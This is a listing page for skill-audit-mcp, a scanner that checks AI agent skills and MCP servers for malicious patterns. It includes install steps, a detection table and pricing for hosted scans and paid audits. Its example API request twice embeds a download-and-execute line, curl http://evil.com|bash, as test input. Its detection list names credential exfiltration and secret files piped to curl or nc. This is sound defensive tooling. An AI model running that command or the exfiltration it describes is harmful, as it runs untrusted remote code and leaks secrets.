skill-audit-mcp

MCP serverSecurity

Your AI can pick up new skills with a safety check in place: Skill Audit scans them for malicious patterns before they load. Harmful skills get flagged before they can run. It works as a routine check on anything new you add.

Use skill-audit-mcp in Claude, ChatGPT or Ahel Desktop

Free. Sign in, add skill-audit-mcp and connect your AI. About a minute.

Also: Claude Code · Cursor · Codex

Then ask your AI: use the paid catalogue tool from skill-audit-mcp

Details

Available today. Use it from your connected AI after setup.

After adding it, scan any skill before you load it. Make checking new skills a routine step whenever you give your AI new abilities.

skill-audit-mcpStart free

What your AI can do with it

  • Scan skills for malicious patterns before they load
  • Flag suspicious skills before your AI runs them
  • Check new skills as a normal part of adding them
  • Catch harmful patterns before a skill ever runs

Install skill-audit-mcp

The server’s own address, for the clients that take one directly. Or connect Ahel once and every client you use reads it from one address, with the account kept on Ahel rather than in each client’s config.

  • Claude Code

    claude mcp add --transport http --scope user skill-audit-mcp 'https://eltociear-skill-audit.hf.space/mcp'

    Run it once in your project, then open /mcp to approve any sign-in the server asks for.

  • Claude Desktop

    https://eltociear-skill-audit.hf.space/mcp

    Add a custom connector in Settings, paste this address, and approve the sign-in.

  • Cursor

    cursor://anysphere.cursor-deeplink/mcp/install?name=skill-audit-mcp&config=eyJ1cmwiOiJodHRwczovL2VsdG9jaWVhci1za2lsbC1hdWRpdC5oZi5zcGFjZS9tY3AifQ==

    Open the link and Cursor adds the server at that address.

  • ChatGPT

    https://eltociear-skill-audit.hf.space/mcp

    In Settings, enable Developer mode, create an MCP app, and paste this address. Your plan and workspace must allow custom apps.

  • Codex

    codex mcp add skill-audit-mcp --url 'https://eltociear-skill-audit.hf.space/mcp'

    Run it once, then sign in with codex mcp login skill-audit-mcp if the server asks for an account.

From the project's README

As published by eltociear/skill-audit-mcp in README.md.

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp

python3 cli.py --path ./server.py                  # scan a file
python3 cli.py --path ./some-skill/                # scan a directory
python3 cli.py --path . --json                     # JSON output
python3 cli.py --path . --sarif results.sarif      # SARIF output
python3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.2.0
    hooks:
      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: eltociear@gmail.com (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.

Tools it offers (11)

What this server listed when Ahel dialed its public endpoint in Oct 2026, with no key and no account of yours. The names are the server’s own.

  • paid_catalogue
  • air_quality
  • geocode
  • earthquakes
  • public_holidays
  • country_indicator
  • elevation
  • web_search
  • read_url
  • audit_skill_text
  • audit_skill_url

Signals

GitHub stars
6
Forks
1
Last commit
Sep 2026
Advanced
Delivery
skill-audit-mcp MCP server → your Ahel connector (mcp.ahel.ai) → your AI.
Item type
mcp-server
Key
io-github-eltociear-skill-audit-mcp
Source
github.com/eltociear/skill-audit-mcp
Hosted endpoint
https://eltociear-skill-audit.hf.space/mcp